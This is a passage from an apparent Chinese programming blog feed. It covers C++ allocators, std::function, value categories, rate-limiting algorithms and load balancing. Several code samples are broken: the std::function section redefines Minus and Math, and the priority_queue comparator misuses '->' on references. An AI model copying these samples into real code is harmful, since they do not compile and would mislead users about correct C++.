      }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;首先，allocarte先进行一个是否超出限制的判断，如果超出限制，就抛出bad_alloc异常。
我们线不用看第二段的条件编译。直接看最后一行。其调用::new操作符，并将::new返回的结果强转成对应类型的指针。那这样就显而易见了，allocate也不过就是仅仅调用new而已。
再来看看construct，在观看源码之前，想都不用想，肯定是要用到转发技术的。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;      template&amp;lt;typename _Up, typename... _Args&amp;gt;
	void
	construct(_Up* __p, _Args&amp;amp;&amp;amp;... __args)
	noexcept(noexcept(::new((void *)__p)
			    _Up(std::forward&amp;lt;_Args&amp;gt;(__args)...)))
	{ ::new((void *)__p) _Up(std::forward&amp;lt;_Args&amp;gt;(__args)...); }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中，上面的部分是异常声明，我们的关注点不在那，如果读者有兴趣，也可以自行剖析一下。我们只看函数体中唯一的语句即可。
使用定位new并且将我们传入进的指针转成void*，然后使用转发级数构造一个对象。洗去铅华只剩金，也只不过是调用了定位new而已。&lt;&#x2F;p&gt;
&lt;p&gt;再来看看destroy方法，就更简单了&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename _Up&amp;gt;
	void
	destroy(_Up* __p)
	noexcept(noexcept(__p-&amp;gt;~_Up()))
	{ __p-&amp;gt;~_Up(); }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;异常声明，然后单纯的显示调用对象的析构函数而已。
最后剩下的就是deallocate方法，我们也应该能够胸有成竹的剖析。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;      void
      deallocate(pointer __p, size_type)
      {
#if __cpp_aligned_new
	if (alignof(_Tp) &amp;gt; __STDCPP_DEFAULT_NEW_ALIGNMENT__)
	  {
	    ::operator delete(__p, std::align_val_t(alignof(_Tp)));
	    return;
	  }
#endif
	::operator delete(__p);
      }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也仅仅就是调用的::delete而已；&lt;&#x2F;p&gt;
&lt;p&gt;现在，分配器的面目已经不是那么的神秘，甚至里面的实现也没有什么过于复杂的手法。要说复杂，应该是麻烦的条件编译和异常声明而已吧。&lt;&#x2F;p&gt;
&lt;p&gt;下面是一些好用的函数&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;uninitialized_copy(b,e,b2) 返回类似尾后迭代器（拷贝到此空间最后一个元素的下一个位置）
uninitialized_copy_n(b,n,b2) 同上
uninitialized_fill(b,e,t) 同上
uninitialized_fill_n(b,n,t) 同上&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;zheng-li-c-zhong-allocator&quot;&gt;整理C++中Allocator&lt;&#x2F;h1&gt;
&lt;p&gt;Allocator（概念）是对访问、寻址、分配、释放、构造和析构策略的封装。是一个满足特定要求的类。标准库中需要分配释放存储空间的容器都需要一个Allocator，除了std::array。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bi-xuan-cheng-yuan&quot;&gt;必选成员&lt;&#x2F;h2&gt;
&lt;p&gt;Allocator 需要满足的条件有很多，但是大部分都是可选的，只有几个必须存在的成员。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;value_type: 要分配空间的类型&lt;&#x2F;li&gt;
&lt;li&gt;allocate(n): 分配方法&lt;&#x2F;li&gt;
&lt;li&gt;deallocate(ptr, n): 释放方法&lt;&#x2F;li&gt;
&lt;li&gt;拷贝构造:
对于表达式Alloc a2 = a1; Alloc a2(a1) 要求执行完毕后a2 == a1，不可抛出异常&lt;&#x2F;li&gt;
&lt;li&gt;移动构造:
对于表达式Alloc a2 = std::move(a1); Alloc a2(std::move(a1)); 使用a1构造a2，a2应等于a1的先前值。（C++17 起要求a1的值在构造后不发生改变，并且a1 == a2。）&lt;&#x2F;li&gt;
&lt;li&gt;拷贝赋值和移动赋值
标准没有声明他们的存在，但是显然他们应该和上面的构造语义相同。&lt;&#x2F;li&gt;
&lt;li&gt;从另一个allocator类型构造
用于map等分配的实际类型不是你传入的allocator的value_type的情况。
对于表达式 AllocA a(b)，其中b是由AllocA::template rebind获得的类型AllocB的实例，构造a，使得AllocB(a) == b, b == AllocA(a)。&lt;&#x2F;li&gt;
&lt;li&gt;从另一个allocator类型移动构造
对于表达式 AllocA a(b)，其中b是由AllocA::template rebind获得的类型AllocB的实例，构造a，使得a == 之前的 AllocA(b)
标准推荐通过 std::allocator_traits&lt;Allocator&gt; 来调用 Allocator 的各种方法，及获取其他类型，这个 trait 类提供了 Allocator 中可选成员的默认实现。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;yi-xie-ke-xuan-cheng-yuan-de-yong-tu&quot;&gt;一些可选成员的用途&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;size_type
如果你不想使用默认的std::size_t，可以用这个来自定义size_type类型，当然对应的allocate和deallocate方法的size参数也应该变成这个类型&lt;&#x2F;li&gt;
&lt;li&gt;template rebind&lt;U&gt;::other
rebind用来从已有的allocator类型获取一个新的用来分配另一个类型U的allocator类型
注意，rebind只对有模板参数的allocator可选
allocator_traits的默认实现是用U来替换当前类型的第一个模板参数&lt;&#x2F;li&gt;
&lt;li&gt;allocate(n, ptr)
分配足够容纳n个对象的连续空间，ptr用作一个hint（比如在ptr地址附近寻找可用内存，用来保持局部性）&lt;&#x2F;li&gt;
&lt;li&gt;max_size()
获取可分配的最大对象数目
allocator_traits会提供一个返回(size_t)-1的实现（或者(size_t)-1 &#x2F; sizeof(T)，since C++17）&lt;&#x2F;li&gt;
&lt;li&gt;select_on_container_copy_construction()
在标准库容器拷贝构造时，由构造函数调用，向源allocator获取一个用来构造新容器的allocator的实例
allocator_traits会提供一个直接返回源容器的allocator本身的实现
在构造函数不能够满足allocator的逻辑需求时定义这个函数&lt;&#x2F;li&gt;
&lt;li&gt;construct(ptr, args…)
在给定指针指向的内存上构造对象，需要注意的是，ptr指向的对象类型不一定是allocator的value_type，这个函数有必要做成模板的
在需要自定义对象构造行为时定义它，比如打个log，try_catch一下什么的&lt;&#x2F;li&gt;
&lt;li&gt;destroy(ptr)
析构ptr指向的对象，需要注意的是，ptr指向的对象类型也不一定是value_type，这个函数有必要做成模板的&lt;&#x2F;li&gt;
&lt;li&gt;is_always_equal （since C++17）
allocator的相等比较的意义是，一个allocator分配的空间，是否可以用另外一个allocator来释放，is_always_equal旨在尽可能消除运行期的比较
std::allocator就是always_equal的，因为他们都是new和delete的封装，一个std::allocator new的当然可以用另一个std::allocator来delete
allocator_traits的默认实现是，当你的allocator是空类，那么为true_type&lt;&#x2F;li&gt;
&lt;li&gt;propagate_on_container_copy_assignment&lt;&#x2F;li&gt;
&lt;li&gt;propagate_on_container_move_assignment&lt;&#x2F;li&gt;
&lt;li&gt;propagate_on_container_swap
此三个类型标记了在容器进行拷贝赋值、移动赋值或交换的时候，allocator是否需要进行对应操作。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;容器在进行拷贝赋值、移动赋值和交换时的逻辑，应该考虑到以上成员和allocator的相等性&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zai-liang-ge-rong-qi-kao-bei-fu-zhi-shi-container1-container2&quot;&gt;在两个容器拷贝赋值时（container1 = container2）&lt;&#x2F;h2&gt;
&lt;p&gt;propagate_on_container_copy_assignment | 两个allocator是否相等 | 拷贝赋值行为
true | true  | 拷贝allocator，拷贝container2所有元素
true | false | 析构container1所有元素并释放空间，拷贝allocator，拷贝container2元素
false| true  | 不拷贝allocator，拷贝container2所有元素
false| false | 不拷贝allocator，拷贝container2所有元素&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zai-liang-ge-rong-qi-yi-dong-fu-zhi-shi-container1-std-move-container2&quot;&gt;在两个容器移动赋值时（container1 = std::move(container2)）&lt;&#x2F;h2&gt;
&lt;p&gt;propagate_on_container_move_assignment | 两个allocator是否相等 | 移动赋值行为
true | true  | 析构container1所有元素并释放空间，移动allocator，接管container2的内部指针
true | false | 析构container1所有元素并释放空间，移动allocator，接管container2的内部指针
false| true  | 析构container1所有元素并释放空间，不移动allocator，接管container2的内部指针
false| false | 析构container1所有元素，不释放空间，不移动allocator，分配足够装下container2所有元素的空间，将container2的元素尽数移动过来&lt;&#x2F;p&gt;
&lt;p&gt;在两个容器交换时，没有更多问题，仅需视propagate_on_container_swap值，交换allocator即可。但需要注意的是，如果allocator不可交换，并且不相等，那么容器交换是UB。
当然以上只是标准容器的实现，你的容器大可以不必如此麻烦。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;xue-xi-std-pmr-fen-pei-qi&quot;&gt;学习std::pmr 分配器&lt;&#x2F;h1&gt;
&lt;p&gt;std::pmr::vector&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>std::function</title>
        <published>2022-06-27T13:44:18+08:00</published>
        <updated>2022-06-27T13:44:18+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/std-function/"/>
        <id>https://vercel.juzhong.asia/2022/06/std-function/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/std-function/">&lt;h1 id=&quot;std-function&quot;&gt;std::function&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;std-function-1&quot;&gt;std::function&lt;&#x2F;h1&gt;
&lt;p&gt;std::function是一个函数包装模板，可以包装下列这几种可调用元素类型：函数、函数指针、类成员函数指针或任意类型的函数对象（例如定义了operator()操作并拥有函数闭包）。
std::function对象可被拷贝和转移，并且可以使用指定的调用特征来直接调用目标元素。当std::function对象未包裹任何实际的可调用元素，调用该std::function对象将抛出std::bad_function_call异常。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bao-zhuang-pu-tong-han-shu&quot;&gt;包装普通函数&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;functional&amp;gt;
using namespace std;

int g_Minus(int i, int j)
{
    return i - j;
}

template &amp;lt;class T&amp;gt;
T g_Minus(T i, T j)
{
    return i - j;
}

int main()
{
    function&amp;lt;int(int, int)&amp;gt; f = g_Minus;
    cout &amp;lt;&amp;lt; f(1, 2) &amp;lt;&amp;lt; endl;                                            &amp;#x2F;&amp;#x2F; -1

    function&amp;lt;int(int, int)&amp;gt; f2 = g_Minus&amp;lt;int&amp;gt;;
    cout &amp;lt;&amp;lt; f2(1, 2) &amp;lt;&amp;lt; endl;                                            &amp;#x2F;&amp;#x2F; -1
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;bao-zhuang-lambdabiao-da-shi&quot;&gt;包装lambda表达式&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;functional&amp;gt;
using namespace std;

auto g_Minus = [](int i, int j){ return i - j; };

int main()
{
    function&amp;lt;int(int, int)&amp;gt; f = g_Minus;
    cout &amp;lt;&amp;lt; f(1, 2) &amp;lt;&amp;lt; endl;                                            &amp;#x2F;&amp;#x2F; -1
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;bao-zhuang-han-shu-dui-xiang&quot;&gt;包装函数对象&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;functional&amp;gt;
using namespace std;

struct Minus
{
    int operator() (int i, int j)
    {
        return i - j;
    }
};

template &amp;lt;class T&amp;gt;
struct Minus
{
    T operator() (T i, T j)
    {
        return i - j;
    }
};

int main()
{
    function&amp;lt;int(int, int)&amp;gt; f = Minus();
    cout &amp;lt;&amp;lt; f(1, 2) &amp;lt;&amp;lt; endl;                                            &amp;#x2F;&amp;#x2F; -1

    function&amp;lt;int(int, int)&amp;gt; f2 = Minus&amp;lt;int&amp;gt;();
    cout &amp;lt;&amp;lt; f2(1, 2) &amp;lt;&amp;lt; endl;                                            &amp;#x2F;&amp;#x2F; -1
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;bao-zhuang-lei-jing-tai-cheng-yuan-han-shu&quot;&gt;包装类静态成员函数&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;functional&amp;gt;
using namespace std;

class Math
{
public:
    static int Minus(int i, int j)
    {
        return i - j;
    }
};

class Math
{
public:
    template &amp;lt;class T&amp;gt;
    static T Minus(T i, T j)
    {
        return i - j;
    }
};

int main()
{
    function&amp;lt;int(int, int)&amp;gt; f = &amp;amp;Math::Minus;
    cout &amp;lt;&amp;lt; f(1, 2) &amp;lt;&amp;lt; endl;                                            &amp;#x2F;&amp;#x2F; -1

    function&amp;lt;int(int, int)&amp;gt; f2 = &amp;amp;Math::Minus&amp;lt;int&amp;gt;;
    cout &amp;lt;&amp;lt; f2(1, 2) &amp;lt;&amp;lt; endl;
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;bao-zhuang-lei-dui-xiang-cheng-yuan-han-shu&quot;&gt;包装类对象成员函数&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;functional&amp;gt;
using namespace std;

class Math
{
public:
    template &amp;lt;class T&amp;gt;
    T Minus(T i, T j)
    {
        return i - j;
    }
};

int main()
{
    Math m;
    function&amp;lt;int(int, int)&amp;gt; f = bind(&amp;amp;Math::Minus&amp;lt;int&amp;gt;, &amp;amp;m, placeholders::_1, placeholders::_2);
    cout &amp;lt;&amp;lt; f(1, 2) &amp;lt;&amp;lt; endl;                                            &amp;#x2F;&amp;#x2F; -1
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;priority-queue-customize-less-operator&quot;&gt;priority_queue customize less operator&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;struct Record
  {
      char c;
      int num;

      &amp;#x2F;&amp;#x2F;version 1
      bool operator &amp;lt;(const Record&amp;amp; rhs)
      {
         return this-&amp;gt;num&amp;gt;rhs.num;
      }

      &amp;#x2F;&amp;#x2F;version 2
      friend bool operator &amp;lt;(const Record&amp;amp; lhs, const Record&amp;amp; rhs) &amp;#x2F;&amp;#x2F;friend claim has to be here
      {
         return lhs-&amp;gt;num&amp;gt;rhs-&amp;gt;num;
      }

      friend bool operator()(const Record&amp;amp; l, const Record&amp;amp; r) {
        return l-&amp;gt;num &amp;gt; r-&amp;gt;num;
      }
  };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>限流——漏桶算法和令牌桶算法</title>
        <published>2022-06-21T15:34:12+08:00</published>
        <updated>2022-06-21T15:34:12+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/限流——漏桶算法和令牌桶算法/"/>
        <id>https://vercel.juzhong.asia/2022/06/限流——漏桶算法和令牌桶算法/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/限流——漏桶算法和令牌桶算法/">&lt;h1 id=&quot;xian-liu-lou-tong-suan-fa-he-ling-pai-tong-suan-fa&quot;&gt;限流——漏桶算法和令牌桶算法&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;xian-liu&quot;&gt;限流&lt;&#x2F;h1&gt;
&lt;p&gt;在开发高并发系统时有三把利器用来保护系统：缓存、降级和限流&lt;&#x2F;p&gt;
&lt;p&gt;缓存：缓存的目的是提升系统访问速度和增大系统处理能力
降级：当服务流量剧增，影响到核心流程的性能，需要暂时屏蔽掉一些功能，待高峰过去或问题解决后再重新打开，以此释放服务器资源以保证核心任务的正常运行。
限流：限流的目的是通过对并发访问或请求进行限速，或者对一个时间窗口内的请求进行限速来保护系统，一旦达到限制速率则可以拒绝服务、或排队或等待、降级等处理&lt;&#x2F;p&gt;
&lt;p&gt;常用的限流算法有令牌桶和，漏桶，滑动窗口
https:&#x2F;&#x2F;segmentfault.com&#x2F;a&#x2F;1190000023552181&lt;&#x2F;p&gt;
&lt;h1 id=&quot;lou-tong-suan-fa&quot;&gt;漏桶算法&lt;&#x2F;h1&gt;
&lt;p&gt;即 一个固定容量的桶，上边不停的滴水，下边漏水。&lt;&#x2F;p&gt;
&lt;p&gt;特别注意：上边滴水的速度是不固定的，下边则是以固定的流速往下滴水，当下边的流速小于上边的流速时，桶里的水就会溢出。
映射到具体的网络请求就是：网络请求就相当于上边的水滴，一个请求对应一个水滴，大量的请求到来时先缓存到漏桶中，然后以固定的频率将这些请求转发出去，即下边的漏水。
达到的效果：请求总是以固定的速度被转发到业务服务。不管网络请求在单位时间内来了多少，漏桶都是以固定速率转发请求，所以请求到达业务服务的频率基本一样。当请求数量超过桶容量时就拒绝服务，此时则需要通过降级或者其他方式进行处理，这属于其他范畴，暂不讨论。&lt;&#x2F;p&gt;
&lt;p&gt;漏桶算法(Leaky Bucket)是网络世界中流量整形（Traffic Shaping）或速率限制（Rate Limiting）时经常使用的一种算法，它的主要目的是控制数据注入到网络的速率，平滑网络上的突发流量。漏桶算法提供了一种机制，通过它，突发流量可以被整形以便为网络提供一个稳定的流量。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ling-pai-tong-suan-fa&quot;&gt;令牌桶算法&lt;&#x2F;h1&gt;
&lt;p&gt;即 一个线程以固定的速率生产令牌扔进桶中，当请求到达时需要从桶中获取一个令牌才可被转发，否则拒绝转发。&lt;&#x2F;p&gt;
&lt;p&gt;达到的效果：单位时间内令牌的最大数量有限。请求的转发并不受限于令牌的生产速度，只要桶中有令牌并且能够拿到，该请求就可以被转发。&lt;&#x2F;p&gt;
&lt;p&gt;令牌桶算法是网络流量整形（Traffic Shaping）和速率限制（Rate Limiting）中最常使用的一种算法。典型情况下，令牌桶算法用来控制发送到网络上的数据的数目，并允许突发数据的发送。&lt;&#x2F;p&gt;
&lt;p&gt;令牌桶算法的原理是系统会以一个恒定的速度往桶里放入令牌，而如果请求需要被处理，则需要先从桶里获取一个令牌，当桶里没有令牌可取时，则拒绝服务。从原理上看，令牌桶算法和漏桶算法是相反的，一个“进水”，一个是“漏水”。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;liang-zhe-bi-jiao&quot;&gt;两者比较&lt;&#x2F;h1&gt;
&lt;p&gt;共同点： 两种算法都能控制单位时间内的最大请求数(即桶的最大容量)
不同点： 漏桶算法关注的是请求被以一定速率转发，容易引起资源业务服务资源利用不充分；令牌算法关注的是单位时间内的最大请求数，一定程度上容忍短时间的高并发，但如果配置不当容易造成服务器阻塞甚至宕机。&lt;&#x2F;p&gt;
&lt;p&gt;漏桶算法与令牌桶算法的区别在于，漏桶算法能够强行限制数据的传输速率，令牌桶算法能够在限制数据的平均传输速率的同时还允许某种程度的突发传输。&lt;&#x2F;p&gt;
&lt;p&gt;在某些情况下，漏桶算法不能够有效地使用网络资源，因为漏桶的漏出速率是固定的，所以即使网络中没有发生拥塞，漏桶算法也不能使某一个单独的数据流达到端口速率。因此，漏桶算法对于存在突发特性的流量来说缺乏效率。而令牌桶算法则能够满足这些具有突发特性的流量。通常，漏桶算法与令牌桶算法结合起来为网络流量提供更高效的控制。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>负载均衡算法</title>
        <published>2022-06-21T15:02:18+08:00</published>
        <updated>2022-06-21T15:02:18+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/负载均衡算法/"/>
        <id>https://vercel.juzhong.asia/2022/06/负载均衡算法/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/负载均衡算法/">&lt;h1 id=&quot;fu-zai-jun-heng-suan-fa&quot;&gt;负载均衡算法&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;fu-zai-jun-heng&quot;&gt;负载均衡&lt;&#x2F;h1&gt;
&lt;p&gt;负载均衡是高可用网络基础架构的关键组件，通常用于将工作负载分布到多个服务器来提高网站、应用、数据库或其他服务的性能和可靠性。&lt;&#x2F;p&gt;
&lt;p&gt;负载均衡器可以处理什么样的请求？&lt;&#x2F;p&gt;
&lt;p&gt;负载均衡器的管理员能主要为下面四种主要类型的请求设置转发规则：&lt;&#x2F;p&gt;
&lt;p&gt;HTTP
HTTPS
TCP
UDP&lt;&#x2F;p&gt;
&lt;p&gt;负载均衡器如何选择要转发的后端服务器？
负载均衡器一般根据两个因素来决定要将请求转发到哪个服务器。首先，确保所选择的服务器能够对请求做出响应，然后根据预先配置的规则从健康服务器池（healthy pool）中进行选择。&lt;&#x2F;p&gt;
&lt;p&gt;因为，负载均衡器应当只选择能正常做出响应的后端服务器，因此就需要有一种判断后端服务器是否「健康」的方法。为了监视后台服务器的运行状况，运行状态检查服务会定期尝试使用转发规则定义的协议和端口去连接后端服务器。如果，服务器无法通过健康检查，就会从池中剔除，保证流量不会被转发到该服务器，直到其再次通过健康检查为止。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fu-zai-jun-heng-suan-fa-1&quot;&gt;负载均衡算法&lt;&#x2F;h2&gt;
&lt;p&gt;负载均衡算法决定了后端的哪些健康服务器会被选中。几个常用的算法：&lt;&#x2F;p&gt;
&lt;p&gt;Round Robin（轮询）：为第一个请求选择列表中的第一个服务器，然后按顺序向下移动列表直到结尾，然后循环。
Least Connections（最小连接）：优先选择连接数最少的服务器，在普遍会话较长的情况下推荐使用。
Source：根据请求源的 IP 的散列（hash）来选择要转发的服务器。这种方式可以一定程度上保证特定用户能连接到相同的服务器。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>cxx lvalue，prvalue，xvalue，glvalue和rvalue</title>
        <published>2022-06-21T14:14:37+08:00</published>
        <updated>2022-06-21T14:14:37+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/cxx-lvalue，prvalue，xvalue，glvalue和rvalue/"/>
        <id>https://vercel.juzhong.asia/2022/06/cxx-lvalue，prvalue，xvalue，glvalue和rvalue/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/cxx-lvalue，prvalue，xvalue，glvalue和rvalue/">&lt;h1 id=&quot;cxx-lvalue-prvalue-xvalue-glvaluehe-rvalue&quot;&gt;cxx lvalue，prvalue，xvalue，glvalue和rvalue&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;general&quot;&gt;General&lt;&#x2F;h1&gt;
&lt;p&gt;每一个C++表达式（一个操作符和它的操作数，一个字面值，一个变量名等等）都代表着两个独立属性：类型+属性分类。在现代C++中&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;glvalue（泛左值）                 = lvalue （传统意义上的左值）+ xvalue（消亡值，通过右值引用产生）
rvalue （传统意义上的右值） = prvalue（纯右值）               + xvalue&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;primary-categories&quot;&gt;Primary categories&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;lvalue-zuo-zhi&quot;&gt;lvalue（左值）&lt;&#x2F;h2&gt;
&lt;p&gt;The following expressions are lvalue expressions:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;the name of a variable or a function in scope, regardless of type, such as std::cin or std::endl. Even if the variable&#x27;s type is rvalue reference, the expression consisting of its name is an lvalue expression;
（变量，函数都是左值）
a function call or an overloaded operator expression of lvalue reference return type, such as std::getline(std::cin, str), std::cout &amp;lt;&amp;lt; 1, str1 = str2, or ++it;
（运算符重载并且返回值是引用的方法）
a = b, a += b, a %= b, and all other built-in assignment and compound assignment expressions;
（内建类型和组合类型是左值）
++a and --a, the built-in pre-increment and pre-decrement expressions;
（前自增是左值，可以取地址，即&amp;amp;++a）
*p, the built-in indirection expression;
（内建指针类型)
a[n] and p[n], the built-in subscript expressions, except where a is an array rvalue (since C++11);
（内建下标运算符，（在C++11，除了数组类型为右值数组））
a.m, the member of object expression, except where m is a member enumerator or a non-static member function, or where a is an rvalue and m is a non-static data member of non-reference type; （内建.运算符，a是左值，当m是非静态成员函数或者数据时，表达式为左值）
p-&amp;gt;m, the built-in member of pointer expression, except where m is a member enumerator or a non-static member function; （内建-&amp;gt;运算符，除了m是枚举或者非静态成员函数，否则都是左值）
a.*mp, the pointer to member of object expression, where a is an lvalue and mp is a pointer to data member;
p-&amp;gt;*mp, the built-in pointer to member of pointer expression, where mp is a pointer to data member;
（指向成员的函数指针，只要是指向成员为数据，则表达式为左值）
a, b, the built-in comma expression, where b is an lvalue;
（内建逗号表达式，此时逗号表达式最右的值是左值）
a ? b : c, the ternary conditional expression for some a, b, and c;
a string literal, such as &quot;Hello, world!&quot;;
（特别注意，C++规定字符串是左值）
a cast expression to lvalue reference type, such as static_cast&amp;lt;int&amp;amp;&amp;gt;(x);
a function call or an overloaded operator expression of rvalue reference to function return type;
（C++ 11 类里面的指定左值返回类型的成员函数（即 class{ void fun()&amp;amp;; },fun是左值））
a cast expression to rvalue reference to function type, such as static_cast&amp;lt;void (&amp;amp;&amp;amp;)(int)&amp;gt;(x).
（C++ 11 右值强转函数类型）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;properties&quot;&gt;Properties:&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Same as glvalue (below).
Address of an lvalue may be taken: &amp;amp;++i[1] and &amp;amp;std::endl are valid expressions.
（重点来了，左值是可以取地址的，这也是区分左值和右值的唯一正确的标志）
A modifiable lvalue may be used as the left-hand operand of the built-in assignment and + compound assignment operators.
（注意等号左边的值不一定是左值，这个不是绝对的）
An lvalue may be used to initialize an lvalue reference; this associates a new name with the object identified by the expression.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;zong-jie&quot;&gt;总结:&lt;&#x2F;h3&gt;
&lt;p&gt;简单的来说，能取地址的变量一定是左值，有名字的变量也一定是左值，最经典的void fun(p&amp;amp;&amp;amp; shit)，其中shit也是左值，因为右值引用是左值（所以才会有move，forward这些函数的产生，其中move出来一定是右值，forward保持变量形式和之前的不变，就是为了解决右值引用是左值的问题）。&lt;&#x2F;p&gt;
&lt;p&gt;至于为什么不能把等号左边看成左值，因为在C++中，等号是可以运算符重载的，等号完全可以重载成为等号左边为右值的形式。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;prvalue-chun-you-zhi&quot;&gt;prvalue（纯右值）&lt;&#x2F;h2&gt;
&lt;p&gt;The following expressions are prvalue expressions:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;a literal (except for string literal), such as 42, true or nullptr;
（字面值常量，除了字符串，都是纯右值，包括空指针，true和false）
a function call or an overloaded operator expression of non-reference return type, such as str.substr(1, 2), str1 + str2, or it++;
（返回值是非引用的表达式是纯右值）
a++ and a--, the built-in post-increment and post-decrement expressions;
（后自增表达式是纯右值）
a + b, a % b, a &amp;amp; b, a &amp;lt;&amp;lt; b, and all other built-in arithmetic expressions;
a &amp;amp;&amp;amp; b, a || b, ~a, the built-in logical expressions;
a &amp;lt; b, a == b, a &amp;gt;= b, and all other built-in comparison expressions;
&amp;amp;a, the built-in address-of expression;
（取地址表达式是一个纯右值，因为地址本身是纯右值）
a.m, the member of object expression, where m is a member enumerator or a non-static member function, or where a is an rvalue and m is a non-static data member of non-reference type (until C++11); （内建.运算符，m可以是枚举或者成员函数，在C++11还可以是纯右值）
p-&amp;gt;m, the built-in member of pointer expression, where m is a member enumerator or a non-static member function; （内建-&amp;gt;运算符，m可以是枚举或者成员函数）
a.*mp, the pointer to member of object expression, where mp is a pointer to member function, or where a is an rvalue and mp is a pointer to data member (until C++11);
（内建.*运算符m可以是枚举或者成员函数，在C++11还可以是纯右值）
p-&amp;gt;*mp, the built-in pointer to member of pointer expression, where mp is a pointer to member function;
（内建-&amp;gt;*运算符，m可以是枚举或者成员函数）
a, b, the built-in comma expression, where b is an rvalue;
a ? b : c, the ternary conditional expression for some a, b, and c;
a cast expression to non-reference type, such as static_cast(x), std::string{}, or (int)42;
the this pointer;
（this指针也是纯右值，因为this也是一个地址）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;a lambda expression, such as [](int x){ return x * x; }.(since C++11) 
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;（lambda表达式是纯右值）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;properties-1&quot;&gt;Properties:&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Same as rvalue (below).
A prvalue cannot be polymorphic: the dynamic type of the object it identifies is always the type of the expression.
（纯右值不能是动态类型）
A non-class non-array prvalue cannot be cv-qualified.
（不是class也不是数组的纯右值不能声明为const, volatile, const-volatile）
A prvalue cannot have incomplete type (except for type void, see below, or when used in decltype specifier).
（纯右值不能是不完整类型）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;zong-jie-1&quot;&gt;总结：&lt;&#x2F;h3&gt;
